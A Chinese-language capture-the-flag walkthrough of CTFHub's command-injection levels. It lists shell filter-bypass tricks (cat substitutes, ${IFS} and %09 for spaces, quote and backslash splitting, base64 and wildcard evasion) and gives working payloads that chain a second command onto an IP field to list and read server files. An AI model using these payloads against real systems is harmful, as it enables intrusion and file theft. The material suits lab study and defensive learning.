题目地址:CTFHub
完成情况如图:
知识点:
-
preg_match_all 函数
- 正则匹配函数
int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] ) 搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。 在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。 $pattern: 要搜索的模式,字符串形式。 $subject: 输入字符串。 $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。 $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER): 1.PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。 2.PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。 3.PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。 offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。
- 四个参数(参数1和参数2是必要参数,参数3和参数4为附加参数)
- 参数1:匹配规则
- 参数2:需要匹配的字符串
- 参数3:存储匹配信息的变量
- 参数4:设定参数3结果的排序形式
- 返回完整匹配次数;可以为0;失败返回false
-
命令连接符
- |
- 只打印后面的命令内容,管道符:前面输出作为后面输入
- windows linux 通用
- ||
- windows linux 通用
- 有真即为真,前面为真后面不执行,前面为假后面执行
- &
- windows linux 通用
- 前后两条命令都执行
- &&
- windows linux 通用
- 有假即为假;前面为真则后面执行,前面为假,则后面不执行
- ;
- linux专有
- 表示命令的结束
- |
-
cat 被过滤了
- 替换方法如下
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2>%261 //报错出文件内容
-
空格被过滤了
*%09(url传递)(cat%09flag.php) ${IFS} $IFS$9 <>(cat<>/flag) <(cat</flag) {cat,flag}
-
目录分隔符被过滤了
- 利用命令衔接性绕过,多管道命令
- cat 1/2 === cd 1;cat 2;
- 反引号绕过
- cat `ls`
- 反引号会执行ls命令,cat读取ls执行后的所有文件内容
- 利用命令衔接性绕过,多管道命令
-
运算符过滤了(& |)
- ; 分号
- %0a 换行
- %0d 回车
-
关键字被过滤了 cat flag ctfhub等
-
转义符号
*\ :ca\t fl\ag \符号在解析过程中会直接当成转义符号处理,直接省略了 '':cat fla''g 闭合的单引号相当于空字符
-
拼接法
- a=fl;b=ag;catIFSa$b
-
空变量绕过
- $* $@ $x ${x}
ca$*t flag ca$@t flag ca$7t flag ca${7}t flag
-
编码绕过
*cat 的base64编码为:Y2F0Cg== 或 Y2F0 即 echo 'cat' |base64 同理可以逆过程: echo 'Y2F0Cg=='|base64 -d 实际执行需要用到反引号: `echo 'Y2F0Cg=='|base64 -d` flag文件
- 8进制
- 16进制
-
正则绕过
- ?:匹配一个字符
- * :匹配多个字符
- cat ?la* ---->可以读取flag文件
-
下面写一下命令执行分支的通关笔记
命令注入
开启环境进入界面发现是一个ip输入界面
这里可以看到源码,发现用到了exec()函数,对输入没有进行任何过滤
结果被执行后又输入到了前端界面上
构造payload:127.0.0.1|ls
成功回显出了当前目录下的文件
发现了一个可疑的文件:18114228857270.php
查看一下该文件信息
构造payload:127.0.0.1|cat 18114228857270.php
发现返回值为空,这就奇怪了,怎么可能啥也没有呢???
F12查看源码才发现是一段被注释的php代码,刚好是flag,复制flag即通关了
针对这种为空的情况可以使用编码读取,这样可以完整读取文件内容
构造payload:127.0.0.1|cat 18114228857270.php|base64
这样回显时base64编码的内容,到时候再解码一下也可以
过滤cat
进入界面,查看源码发现对cat继续了过滤
查看当前目录下的文件
构造payload:127.0.0.1|ls
发现了敏感文件:flag_127461393303.php
使用cat查看一下该文件内容
构造payload:127.0.0.1|cat flag_127461393303.php
输出结果为cat,说明确实对cat进行了过滤
cat虽然被过滤了,但是可以利用其他命令来代替
tac、head、tail等都可以进行读取
构造payload:127.0.0.1|head flag_127461393303.php
注意:head tail 默认只能读取10行,不过在这里就够用了,tac相当于倒序读取文件内容并倒序输出;这里用哪个都行
源码中找到flag,复制该元素然后粘贴一下就能取出注释的信息了
过滤空格
开始环境,进入界面,查看源码发现对空格进行了过滤
查看当前目录下的文件信息
构造payload:127.0.0.1|ls
发现了敏感文件:flag_125841720517495.php
查看该文件的内容
构造payload:127.0.0.1|cat%09flag_125841720517495.php
注意:%09是在url框中修改的,而不是直接在输入框中输入,因为这是url编码,如果在ip输入框中输入会进行二次url编码,%09为tab键的url编码,无法直接输入
过滤目录分隔符
进入环境查看源码发现 / 符号被过滤了
查看当前目录下的文件
构造payload:127.0.0.1|ls
发现出了一个目录 flag_is_here
接着查看该目录下的文件信息
构造payload:127.0.0.1|ls flag_is_here
找到了flag文件:flag_8317178653643.php
既然目录分隔符已经被过滤了,那么只能按顺序执行命令读取了
首先到flag_is_here文件目录下,然后读取flag_8317178653643.php文件内容
构造payload:127.0.0.1;cd flag_is_here;cat flag_8317178653643.php;
成功读取到了flag文件的内容
过滤运算符
进入环境,发现源码中对& | 符号进行了过滤
查看当前目录下的文件信息
构造payload:127.0.0.1;ls
发现了敏感文件:flag_1140880316259.php
这里使用%0a也可以实现命令结束的效果,但是得在url导航栏中进行操作
构造payload:ip=127.0.0.1%0als
接下来查看敏感文件的内容
构造payload:127.0.0.1;cat flag_1140880316259.php
成功得到了flag
综合过滤练习
进入环境,发现源码中对& | 空格 / cat flag ctfhub进行了过滤
对命令连接符都进行了过滤,但是可以使用回车换行进行操作,这里需要在url地址栏进行操作
读取当前目录下的文件信息
构造payload:127.0.0.1%0als
获取到了一个目录文件:flag_is_here
读取该目录下的文件信息
构造payload:ip=127.0.0.1%0als%09fla\g_is_here#
成功获取到了敏感文件:flag_210412363721473.php
接下来开始读取文件内容
构造payload:ip=127.0.0.1%0acd%09fl\ag_is_here%0atac%09fla\g_210412363721473.php#
成功读取到了flag
10